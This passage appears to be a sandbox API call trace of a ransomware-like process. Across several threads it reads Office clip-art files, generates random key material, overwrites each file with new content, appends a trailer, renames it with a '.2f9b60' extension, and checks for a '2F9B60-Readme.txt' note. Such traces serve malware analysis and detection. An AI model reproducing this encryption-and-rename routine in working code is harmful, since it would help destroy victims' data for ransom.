_Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9.2f9b60" [0126.215] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9.2f9b60", NtPathName=0x23edfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0f7234b5d9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ace70 [0126.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0126.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.217] NtQueryInformationFile (in: FileHandle=0x1020, IoStatusBlock=0x23edfe78, FileInformation=0x23edfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23edfe78, FileInformation=0x23edfe88) returned 0x0 [0126.217] NtSetInformationFile (FileHandle=0x1020, IoStatusBlock=0x23edfe78, FileInformation=0x23edfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c2b0) returned 1 [0126.219] FlushFileBuffers (hFile=0x1020) returned 1 [0126.356] CloseHandle (hObject=0x1020) returned 1 [0126.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cc90 [0126.365] wcscpy (in: _Dest=0x4205cc90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.365] wcscat (in: _Dest=0x4205cc90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0126.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0126.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cde0) returned 1 Thread: id = 1648 os_tid = 0x1b44 [0126.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0126.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF", dwFileAttributes=0x20) returned 1 [0126.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdc0 [0126.179] GetFileSizeEx (in: hFile=0xdc0, lpFileSize=0x23e5fb40 | out: lpFileSize=0x23e5fb40*=2422) returned 1 [0126.179] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x972, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.179] ReadFile (in: hFile=0xdc0, lpBuffer=0x23e5fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23e5fb08, lpOverlapped=0x0 | out: lpBuffer=0x23e5fac0*, lpNumberOfBytesRead=0x23e5fb08*=0x4, lpOverlapped=0x0) returned 1 [0126.199] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0126.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a420 [0126.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7b0 [0126.200] NtQuerySystemTime (in: CurrentTime=0x23e5fa00 | out: CurrentTime=0x23e5fa00*=132462177314686000) returned 0x0 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x444a0007 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7b3cf3d [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x510d0e62 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x3f6797bc [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x3e11febf [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x4eec7179 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x30e7d69b [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7f77c20c [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0xd716314 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x79dfecb3 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x3b4996a2 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x755b6d78 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x4d14fcd4 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x684e219b [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0xfb2e8d7 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x868ab8e [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x4c7c8917 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x55453bf8 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x142159d6 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x2caa6e74 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7af5dd06 [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x3cf600ae [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x4663133e [0126.200] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7c9cfff2 [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x388cd3dc [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x11cd4e0d [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x1308704a [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x83bf7e4 [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x3b617ad3 [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7208593d [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x7529cd68 [0126.201] RtlRandomEx (in: Seed=0x23e5f9f0 | out: Seed=0x23e5f9f0) returned 0x6f051bbd [0126.209] ReadFile (in: hFile=0xdc0, lpBuffer=0x41d1b4e0, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x23e5f9f0, lpOverlapped=0x0 | out: lpBuffer=0x41d1b4e0*, lpNumberOfBytesRead=0x23e5f9f0*=0x976, lpOverlapped=0x0) returned 1 [0126.209] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.209] WriteFile (in: hFile=0xdc0, lpBuffer=0x41d178d0*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x23e5f9f4, lpOverlapped=0x0 | out: lpBuffer=0x41d178d0*, lpNumberOfBytesWritten=0x23e5f9f4*=0x976, lpOverlapped=0x0) returned 1 [0126.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0126.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0126.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ad20) returned 1 [0126.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d178d0) returned 1 [0126.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1b4e0) returned 1 [0126.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0126.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0126.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85ad20 [0126.354] SetFilePointerEx (in: hFile=0xdc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.355] WriteFile (in: hFile=0xdc0, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23e5fb10, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x23e5fb10*=0x10a, lpOverlapped=0x0) returned 1 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8668c0 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0126.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a4e0) returned 1 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a4e0 [0126.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b0b0) returned 1 [0126.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8668c0) returned 1 [0126.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0126.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0126.384] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="db") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="6b") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="39") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="b9") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="2e") returned 2 [0126.384] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="4a") returned 2 [0126.384] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="cf") returned 2 [0126.384] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="8d") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="0c") returned 2 [0126.384] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="d8") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="1a") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="bd") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="52") returned 2 [0126.385] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="76") returned 2 [0126.385] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="fb") returned 2 [0126.385] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="34") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="28") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="43") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f1") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="93") returned 2 [0126.385] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="51") returned 2 [0126.385] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="3e") returned 2 [0126.385] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="bc") returned 2 [0126.385] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="a1") returned 2 [0126.385] RtlInitAnsiString (in: DestinationString=0x23e5fb88, SourceString="db6b39b92e4acf8d0cd81abd5276fb342843f193513ebca1" | out: DestinationString="db6b39b92e4acf8d0cd81abd5276fb342843f193513ebca1") [0126.385] RtlAnsiStringToUnicodeString (in: DestinationString=0x23e5fb58, SourceString="db6b39b92e4acf8d0cd81abd5276fb342843f193513ebca1", AllocateDestinationString=1 | out: DestinationString="db6b39b92e4acf8d0cd81abd5276fb342843f193513ebca1") returned 0x0 [0126.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0126.386] wcscat (in: _Dest=0x4205cc90, _Source="db6b39b92e4a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a" [0126.386] wcscat (in: _Dest=0x4205cc90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a.2f9b60" [0126.386] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a.2f9b60", NtPathName=0x23e5fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\db6b39b92e4a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0126.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0126.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0126.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0126.388] NtQueryInformationFile (in: FileHandle=0xdc0, IoStatusBlock=0x23e5fb98, FileInformation=0x23e5fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23e5fb98, FileInformation=0x23e5fba8) returned 0x0 [0126.388] NtSetInformationFile (FileHandle=0xdc0, IoStatusBlock=0x23e5fb98, FileInformation=0x23e5fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0126.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cc90) returned 1 [0126.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0126.390] FlushFileBuffers (hFile=0xdc0) returned 1 [0127.972] CloseHandle (hObject=0xdc0) returned 1 [0128.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cbf0 [0128.001] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0128.001] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0128.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0128.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0128.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cd50) returned 1 Thread: id = 1649 os_tid = 0x1b48 [0126.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0126.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF", dwFileAttributes=0x20) returned 1 [0126.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1550 [0126.235] GetFileSizeEx (in: hFile=0x1550, lpFileSize=0x23bbfc40 | out: lpFileSize=0x23bbfc40*=2262) returned 1 [0126.235] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x8d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.235] ReadFile (in: hFile=0x1550, lpBuffer=0x23bbfbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23bbfc08, lpOverlapped=0x0 | out: lpBuffer=0x23bbfbc0*, lpNumberOfBytesRead=0x23bbfc08*=0x4, lpOverlapped=0x0) returned 1 [0126.308] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0126.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.309] NtQuerySystemTime (in: CurrentTime=0x23bbfb00 | out: CurrentTime=0x23bbfb00*=132462177315778000) returned 0x0 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x56ce525d [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x73bb51f0 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x74edd718 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x48b12021 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x1ebe2371 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0xe07085a [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x4e55fc5b [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x48d44770 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x1339d2c6 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x35b3887c [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x67a8a2d5 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x3edb3d61 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x68392146 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x5c043b95 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x29dada3a [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x61f42c3 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x7bfac148 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x20447e07 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x6d32aa23 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x7e443748 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x6dde0d23 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x4d5e1093 [0126.309] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x1b8f8d91 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x73600536 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x3ff32466 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x95998a [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x57e7c0e5 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x7d043f83 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x53919c6e [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x18cede99 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x760c3dc7 [0126.310] RtlRandomEx (in: Seed=0x23bbfaf0 | out: Seed=0x23bbfaf0) returned 0x210766c1 [0126.318] ReadFile (in: hFile=0x1550, lpBuffer=0x41d44990, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x23bbfaf0, lpOverlapped=0x0 | out: lpBuffer=0x41d44990*, lpNumberOfBytesRead=0x23bbfaf0*=0x8d6, lpOverlapped=0x0) returned 1 [0126.318] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.319] WriteFile (in: hFile=0x1550, lpBuffer=0x41d2e130*, nNumberOfBytesToWrite=0x8d6, lpNumberOfBytesWritten=0x23bbfaf4, lpOverlapped=0x0 | out: lpBuffer=0x41d2e130*, lpNumberOfBytesWritten=0x23bbfaf4*=0x8d6, lpOverlapped=0x0) returned 1 [0126.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad50 [0126.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0126.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0126.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2e130) returned 1 [0126.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d44990) returned 1 [0126.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505590) returned 1 [0126.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0126.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b859df0 [0126.325] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.325] WriteFile (in: hFile=0x1550, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23bbfc10, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x23bbfc10*=0x10a, lpOverlapped=0x0) returned 1 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85afc0) returned 1 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859c10 [0126.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859c10) returned 1 [0126.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0126.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0126.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0126.336] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="9d") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="a6") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="99") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="73") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="85") returned 2 [0126.336] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="73") returned 2 [0126.336] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="be") returned 2 [0126.336] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="2b") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="02") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="0e") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="b8") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="02") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="16") returned 2 [0126.336] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="c3") returned 2 [0126.336] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="25") returned 2 [0126.336] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="65") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="e9") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="a4") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="6c") returned 2 [0126.336] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | 